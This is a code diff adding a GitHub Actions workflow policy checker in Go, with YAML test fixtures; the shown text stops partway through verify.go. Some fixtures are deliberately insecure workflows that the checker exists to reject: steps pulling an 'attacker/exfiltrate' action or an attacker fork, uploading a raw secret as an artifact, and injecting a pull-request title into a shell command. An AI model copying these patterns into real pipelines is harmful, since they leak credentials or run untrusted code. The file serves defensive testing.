verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: + command: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/numeric-timeout.yml b/integration/agentcompat/internal/workflowpolicy/testdata/numeric-timeout.yml new file mode 100644 index 00000000..54d06888 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/numeric-timeout.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10.5 + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + persist-credentials: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/or-echo-failure.yml b/integration/agentcompat/internal/workflowpolicy/testdata/or-echo-failure.yml new file mode 100644 index 00000000..33c038d2 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/or-echo-failure.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... || echo ignored diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/or-exit-zero-failure.yml b/integration/agentcompat/internal/workflowpolicy/testdata/or-exit-zero-failure.yml new file mode 100644 index 00000000..d9bed072 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/or-exit-zero-failure.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... || exit 0 diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/or-printf-failure.yml b/integration/agentcompat/internal/workflowpolicy/testdata/or-printf-failure.yml new file mode 100644 index 00000000..294b442c --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/or-printf-failure.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... || printf '%s\n' ignored diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/permissions-sequence.yml b/integration/agentcompat/internal/workflowpolicy/testdata/permissions-sequence.yml new file mode 100644 index 00000000..190b1106 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/permissions-sequence.yml @@ -0,0 +1,10 @@ +on: + pull_request: +concurrency: policy +permissions: [] +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/persist-credentials-true.yml b/integration/agentcompat/internal/workflowpolicy/testdata/persist-credentials-true.yml new file mode 100644 index 00000000..eee6ed9f --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/persist-credentials-true.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + persist-credentials: true diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/prefixed-git-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/prefixed-git-repository.yml new file mode 100644 index 00000000..7ccead90 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/prefixed-git-repository.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: sudo git clone "$REMOTE" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/pull-request-target.yml b/integration/agentcompat/internal/workflowpolicy/testdata/pull-request-target.yml new file mode 100644 index 00000000..f9a7d9e2 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/pull-request-target.yml @@ -0,0 +1,11 @@ +on: + pull_request_target: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/quality-only.yml b/integration/agentcompat/internal/workflowpolicy/testdata/quality-only.yml new file mode 100644 index 00000000..754d6741 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/quality-only.yml @@ -0,0 +1,12 @@ +name: Quality only +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + linux-race-quality: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test -race -shuffle=on -count=1 ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/quoted-false-security-controls.yml b/integration/agentcompat/internal/workflowpolicy/testdata/quoted-false-security-controls.yml new file mode 100644 index 00000000..4d81da3b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/quoted-false-security-controls.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + persist-credentials: "false" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/raw-after-redaction.yml b/integration/agentcompat/internal/workflowpolicy/testdata/raw-after-redaction.yml new file mode 100644 index 00000000..a3c84295 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/raw-after-redaction.yml @@ -0,0 +1,19 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - name: Redact evidence + id: redact-evidence + if: always() + run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted" + - run: cp raw-secret "$RUNNER_TEMP/nezha-agentcompat-redacted/raw-secret" + - uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f + if: always() + with: + path: ${{ runner.temp }}/nezha-agentcompat-redacted diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/redaction-command-append.yml b/integration/agentcompat/internal/workflowpolicy/testdata/redaction-command-append.yml new file mode 100644 index 00000000..68519f6d --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/redaction-command-append.yml @@ -0,0 +1,20 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - name: Redact evidence + id: redact-evidence + if: always() + run: | + go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted" + cp raw-secret "$RUNNER_TEMP/nezha-agentcompat-redacted/raw-secret" + - uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f + if: always() + with: + path: ${{ runner.temp }}/nezha-agentcompat-redacted diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/relative-workspace-executable.yml b/integration/agentcompat/internal/workflowpolicy/testdata/relative-workspace-executable.yml new file mode 100644 index 00000000..199edeaf --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/relative-workspace-executable.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: bin/agentcompat --check diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/resolver-variable-override.yml b/integration/agentcompat/internal/workflowpolicy/testdata/resolver-variable-override.yml new file mode 100644 index 00000000..c6173ad1 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/resolver-variable-override.yml @@ -0,0 +1,25 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - id: resolve-agent + run: | + set -euo pipefail + remote='https://github.com/nezhahq/agent.git' + mapfile -t refs < <(git ls-remote "$remote" refs/heads/main) + (( ${#refs[@]} == 1 )) + sha=${refs[0]%%$'\t'*} + [[ "$sha" =~ ^[0-9a-f]{40}$ ]] + sha=attacker-controlled + printf 'sha=%s\n' "$sha" >> "$GITHUB_OUTPUT" + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + repository: nezhahq/agent + ref: ${{ steps.resolve-agent.outputs.sha }} + persist-credentials: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/reusable-workflow-job.yml b/integration/agentcompat/internal/workflowpolicy/testdata/reusable-workflow-job.yml new file mode 100644 index 00000000..6fe4e16e --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/reusable-workflow-job.yml @@ -0,0 +1,8 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + uses: attacker/repo/.github/workflows/build.yml@main diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/secret-context.yml b/integration/agentcompat/internal/workflowpolicy/testdata/secret-context.yml new file mode 100644 index 00000000..ea56dafc --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/secret-context.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + env: + TOKEN: ${{ secrets.CI_TOKEN }} + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/secure-agent.yml b/integration/agentcompat/internal/workflowpolicy/testdata/secure-agent.yml new file mode 100644 index 00000000..ac94147f --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/secure-agent.yml @@ -0,0 +1,21 @@ +name: Secure Agent compatibility +on: + pull_request: +concurrency: secure-agent-${{ github.ref }} +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 30 + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + persist-credentials: false + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + repository: nezhahq/nezha + ref: fedcba9876543210fedcba9876543210fedcba98 + path: nezha + persist-credentials: false + - run: go test ./integration/agentcompat/... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/secure-nezha.yml b/integration/agentcompat/internal/workflowpolicy/testdata/secure-nezha.yml new file mode 100644 index 00000000..a123d0c6 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/secure-nezha.yml @@ -0,0 +1,40 @@ +name: Secure Nezha compatibility +# Comments and names are not policy input: ignore pull_request_target and ${{ secrets.FAKE }}. +on: + pull_request: + merge_group: +concurrency: + group: secure-${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true +permissions: + contents: read + id-token: none +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 30 + steps: + - name: Checkout Nezha + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + persist-credentials: false + - name: Checkout Agent + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + repository: nezhahq/agent + ref: 0123456789abcdef0123456789abcdef01234567 + path: agent + persist-credentials: false + - name: Test + run: go test ./integration/agentcompat/... + - name: Document self-hosted, Docker, cache, and service bans + run: printf '%s\n' 'policy active' + - name: Redact evidence + id: redact-evidence + if: always() + run: go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted" + - name: Upload redacted evidence + uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f + if: always() + with: + path: ${{ runner.temp }}/nezha-agentcompat-redacted diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/secure-resolved-ref.yml b/integration/agentcompat/internal/workflowpolicy/testdata/secure-resolved-ref.yml new file mode 100644 index 00000000..92c7824c --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/secure-resolved-ref.yml @@ -0,0 +1,27 @@ +name: Secure resolved ref +on: + pull_request: +concurrency: resolved-${{ github.ref }} +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 30 + steps: + - id: resolve-agent + name: Resolve Agent commit + shell: bash + run: | + set -euo pipefail + remote='https://github.com/nezhahq/agent.git' + mapfile -t refs < <(git ls-remote "$remote" refs/heads/main) + (( ${#refs[@]} == 1 )) + sha=${refs[0]%%$'\t'*} + [[ "$sha" =~ ^[0-9a-f]{40}$ ]] + printf 'sha=%s\n' "$sha" >> "$GITHUB_OUTPUT" + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + repository: nezhahq/agent + ref: ${{ steps.resolve-agent.outputs.sha }} + persist-credentials: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/self-hosted.yml b/integration/agentcompat/internal/workflowpolicy/testdata/self-hosted.yml new file mode 100644 index 00000000..eddab687 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/self-hosted.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: [self-hosted, linux] + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/services.yml b/integration/agentcompat/internal/workflowpolicy/testdata/services.yml new file mode 100644 index 00000000..89b2ade7 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/services.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + services: + database: + image: postgres:latest + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/set-plus-e-semicolon.yml b/integration/agentcompat/internal/workflowpolicy/testdata/set-plus-e-semicolon.yml new file mode 100644 index 00000000..c3df1fdd --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/set-plus-e-semicolon.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: set +e; go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/set-plus-o-errexit.yml b/integration/agentcompat/internal/workflowpolicy/testdata/set-plus-o-errexit.yml new file mode 100644 index 00000000..1c20337a --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/set-plus-o-errexit.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: | + set +o errexit + go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/setup-go-default-cache.yml b/integration/agentcompat/internal/workflowpolicy/testdata/setup-go-default-cache.yml new file mode 100644 index 00000000..5e220263 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/setup-go-default-cache.yml @@ -0,0 +1,13 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/setup-go@924ae3a1cded613372ab5595356fb5720e22ba16 + with: + go-version: 1.26.3 diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-failure.yml b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-failure.yml new file mode 100644 index 00000000..634cda74 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-failure.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... || true diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-semicolon-colon.yml b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-semicolon-colon.yml new file mode 100644 index 00000000..5851d6c0 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-semicolon-colon.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: 'go test ./...; :' diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-semicolon-true.yml b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-semicolon-true.yml new file mode 100644 index 00000000..7185cafc --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-semicolon-true.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./...; true diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-trap-exit.yml b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-trap-exit.yml new file mode 100644 index 00000000..2d633d78 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/swallowed-trap-exit.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: trap 'exit 0' ERR; go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/trailing-empty-document.yml b/integration/agentcompat/internal/workflowpolicy/testdata/trailing-empty-document.yml new file mode 100644 index 00000000..f495a03b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/trailing-empty-document.yml @@ -0,0 +1,12 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... +--- diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-action.yml b/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-action.yml new file mode 100644 index 00000000..258a32ac --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-action.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: attacker/exfiltrate@0123456789abcdef0123456789abcdef01234567 diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-git-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-git-repository.yml new file mode 100644 index 00000000..36b8237c --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-git-repository.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: git clone https://github.com/attacker/fork.git diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-repository.yml b/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-repository.yml new file mode 100644 index 00000000..082668ee --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/unapproved-repository.yml @@ -0,0 +1,15 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + repository: attacker/fork + ref: 0123456789abcdef0123456789abcdef01234567 + persist-credentials: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/unredacted-artifact-path.yml b/integration/agentcompat/internal/workflowpolicy/testdata/unredacted-artifact-path.yml new file mode 100644 index 00000000..aaffc06c --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/unredacted-artifact-path.yml @@ -0,0 +1,16 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - name: Redact evidence + id: redact-evidence + run: go run ./integration/agentcompat/cmd/redact + - uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f + with: + path: ${{ runner.temp }}/results diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/untrusted-run-expression.yml b/integration/agentcompat/internal/workflowpolicy/testdata/untrusted-run-expression.yml new file mode 100644 index 00000000..4c7faf01 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/untrusted-run-expression.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: printf '%s' "${{ github.event.pull_request.title }}" diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/unvalidated-resolved-ref.yml b/integration/agentcompat/internal/workflowpolicy/testdata/unvalidated-resolved-ref.yml new file mode 100644 index 00000000..abd2d7ae --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/unvalidated-resolved-ref.yml @@ -0,0 +1,18 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - id: resolve-agent + run: | + echo "sha=$(git ls-remote https://github.com/nezhahq/agent.git refs/heads/main | cut -f1)" >> "$GITHUB_OUTPUT" + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 + with: + repository: nezhahq/agent + ref: ${{ steps.resolve-agent.outputs.sha }} + persist-credentials: false diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/workflow-run.yml b/integration/agentcompat/internal/workflowpolicy/testdata/workflow-run.yml new file mode 100644 index 00000000..86bcb4ae --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/workflow-run.yml @@ -0,0 +1,13 @@ +on: + workflow_run: + workflows: [Untrusted] + types: [completed] +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/workspace-executable.yml b/integration/agentcompat/internal/workflowpolicy/testdata/workspace-executable.yml new file mode 100644 index 00000000..4606eaea --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/workspace-executable.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: ${{ github.workspace }}/bin/agentcompat diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/write-permission.yml b/integration/agentcompat/internal/workflowpolicy/testdata/write-permission.yml new file mode 100644 index 00000000..a0c8b1e8 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/write-permission.yml @@ -0,0 +1,11 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: write +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + steps: + - run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/testdata/yaml-alias.yml b/integration/agentcompat/internal/workflowpolicy/testdata/yaml-alias.yml new file mode 100644 index 00000000..09c6117d --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/testdata/yaml-alias.yml @@ -0,0 +1,14 @@ +on: + pull_request: +concurrency: policy +permissions: + contents: read +jobs: + verify: + runs-on: ubuntu-24.04 + timeout-minutes: 10 + env: &shared + MODE: test + steps: + - env: *shared + run: go test ./... diff --git a/integration/agentcompat/internal/workflowpolicy/types.go b/integration/agentcompat/internal/workflowpolicy/types.go new file mode 100644 index 00000000..8948823d --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/types.go @@ -0,0 +1,114 @@ +package workflowpolicy + +import ( + "fmt" + "strings" + + "gopkg.in/yaml.v3" +) + +type Repository string + +const ( + RepositoryAgent Repository = "nezhahq/agent" + RepositoryNezha Repository = "nezhahq/nezha" +) + +type Rule string + +const ( + RulePrivilegedTrigger Rule = "privileged-trigger" + RuleSecretContext Rule = "secret-context" + RuleWritePermission Rule = "write-permission" + RuleSelfHostedRunner Rule = "self-hosted-runner" + RuleContainerizedExecution Rule = "containerized-execution" + RuleRepositoryNotAllowed Rule = "repository-not-allowed" + RuleRepositoryNotLiteral Rule = "repository-not-literal" + RuleOtherRepositoryRef Rule = "other-repository-ref" + RulePersistCredentials Rule = "persist-credentials" + RuleReusableExecutable Rule = "reusable-executable" + RuleContinueOnError Rule = "continue-on-error" + RuleSwallowedFailure Rule = "swallowed-failure" + RuleMissingJobTimeout Rule = "missing-job-timeout" + RuleMissingConcurrency Rule = "missing-concurrency" + RuleArtifactRedaction Rule = "artifact-redaction" + RuleUntrustedExpression Rule = "untrusted-expression" + RuleWorkflowStructure Rule = "workflow-structure" +) + +type Violation struct { + Rule Rule + Path string + Line int + Column int + Detail string +} + +type violationLocation struct { + path string + node *yaml.Node +} + +func at(path string, node *yaml.Node) violationLocation { + return violationLocation{path: path, node: node} +} + +func (v Violation) String() string { + location := v.Path + if v.Line > 0 { + location = fmt.Sprintf("%s:%d:%d", v.Path, v.Line, v.Column) + } + return fmt.Sprintf("%s at %s: %s", v.Rule, location, v.Detail) +} + +type PolicyError struct { + violations []Violation +} + +func (e *PolicyError) Error() string { + lines := make([]string, 0, len(e.violations)+1) + lines = append(lines, "workflow policy rejected") + for _, violation := range e.violations { + lines = append(lines, "- "+violation.String()) + } + return strings.Join(lines, "\n") +} + +func (e *PolicyError) Has(rule Rule) bool { + for _, violation := range e.violations { + if violation.Rule == rule { + return true + } + } + return false +} + +func (e *PolicyError) Violations() []Violation { + return append([]Violation(nil), e.violations...) +} + +type ParseError struct { + Source string + Cause error +} + +type ReadError struct { + Path string + Cause error +} + +func (e *ReadError) Error() string { + return fmt.Sprintf("read workflow %q: %v", e.Path, e.Cause) +} + +func (e *ReadError) Unwrap() error { + return e.Cause +} + +func (e *ParseError) Error() string { + return fmt.Sprintf("parse workflow %q: %v", e.Source, e.Cause) +} + +func (e *ParseError) Unwrap() error { + return e.Cause +} diff --git a/integration/agentcompat/internal/workflowpolicy/verify.go b/integration/agentcompat/internal/workflowpolicy/verify.go new file mode 100644 index 00000000..69ee8d42 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/verify.go @@ -0,0 +1,197 @@ +package workflowpolicy + +import ( + "fmt" + "os" + "regexp" + "strings" + + "gopkg.in/yaml.v3" +) + +var ( + secretContextPattern = regexp.MustCompile(`(?i)\bsecrets\b`) + tokenSourcePattern = regexp.MustCompile(`(?i)\bgithub\s*\.\s*token\b|\bGITHUB_TOKEN\b`) + untrustedExpressionPattern = regexp.MustCompile(`\$\{\{[^}]*(?:github\s*\.\s*event\s*\.|github\s*\.\s*head_ref|github\s*\[)[^}]*\}\}`) +) + +type checker struct { + repository Repository + violations []Violation +} + +func Verify(data []byte, repository Repository) error { + return verify("memory", data, repository) +} + +func VerifyFile(path string, repository Repository) error { + data, err := os.ReadFile(path) + if err != nil { + return &ReadError{Path: path, Cause: err} + } + return verify(path, data, repository) +} + +func verify(source string, data []byte, repository Repository) error { + root, err := parseWorkflow(source, data) + if err != nil { + return err + } + policyChecker := checker{repository: repository} + policyChecker.checkWorkflow(root) + if len(policyChecker.violations) > 0 { + return &PolicyError{violations: policyChecker.violations} + } + return nil +} + +func (c *checker) checkWorkflow(root *yaml.Node) { + if c.repository != RepositoryAgent && c.repository != RepositoryNezha { + c.reject(RuleRepositoryNotAllowed, at("$", root), fmt.Sprintf("current repository %q is not supported", c.repository)) + } + c.checkTriggers(root) + c.checkSecretContexts(root) + c.checkUntrustedExpressions(root) + c.checkForbiddenEnvironment(root) + c.checkPermissions(root, "$.permissions", true) + concurrency, exists := mappingValue(root, "concurrency") + if !exists || !validConcurrency(concurrency) { + node := root + if exists { + node = concurrency + } + detail := "workflow concurrency requires a nonempty group" + if exists { + if _, hasGroup := mappingValue(concurrency, "group"); hasGroup { + cancel, hasCancel := mappingValue(concurrency, "cancel-in-progress") + if hasCancel && (cancel.Kind != yaml.ScalarNode || cancel.Tag != "!!bool") { + detail = "workflow concurrency cancel-in-progress must be a boolean" + } + } + } + c.reject(RuleMissingConcurrency, at("$.concurrency", node), detail) + } + jobs, exists := mappingValue(root, "jobs") + if !exists || jobs.Kind != yaml.MappingNode || len(jobs.Content) == 0 { + node := root + if exists { + node = jobs + } + c.reject(RuleWorkflowStructure, at("$.jobs", node), "workflow jobs must be a nonempty mapping") + return + } + for _, entry := range mappingEntries(jobs) { + if entry[1].Kind != yaml.MappingNode { + c.reject(RuleWorkflowStructure, at("$.jobs."+entry[0].Value, entry[1]), "workflow job must be a mapping") + continue + } + c.checkJob(entry[0].Value, entry[1]) + } + c.checkRequiredAggregator(jobs) +} + +func (c *checker) checkForbiddenEnvironment(root *yaml.Node) { + walkMappings(root, func(mapping *yaml.Node) { + environment, exists := mappingValue(mapping, "env") + if !exists || environment.Kind != yaml.MappingNode { + return + } + for _, entry := range mappingEntries(environment) { + if strings.HasPrefix(strings.ToUpper(entry[0].Value), "GIT_") { + c.reject(RuleRepositoryNotLiteral, at("$.env."+entry[0].Value, entry[0]), fmt.Sprintf("Git configuration environment %s is forbidden", entry[0].Value)) + } + } + }) +} + +func validConcurrency(node *yaml.Node) bool { + if value, literal := scalarString(node); literal { + return strings.TrimSpace(value) != "" + } + group, exists := mappingValue(node, "group") + if !exists { + return false + } + value, literal := scalarString(group) + if !literal || strings.TrimSpace(value) == "" { + return false + } + cancel, exists := mappingValue(node, "cancel-in-progress") + return !exists || (cancel.Kind == yaml.ScalarNode && cancel.Tag == "!!bool") +} + +func (c *checker) checkTriggers(root *yaml.Node) { + trigger, exists := mappingValue(root, "on") + if !exists { + return + } + for _, forbidden := range []string{"pull_request_target", "workflow_run"} { + if containsScalar(trigger, forbidden) { + c.reject(RulePrivilegedTrigger, at("$.on."+forbidden, trigger), fmt.Sprintf("privileged trigger %s is forbidden", forbidden)) + } + } +} + +func (c *checker) checkSecretContexts(root *yaml.Node) { + walkScalars(root, func(node *yaml.Node) { + 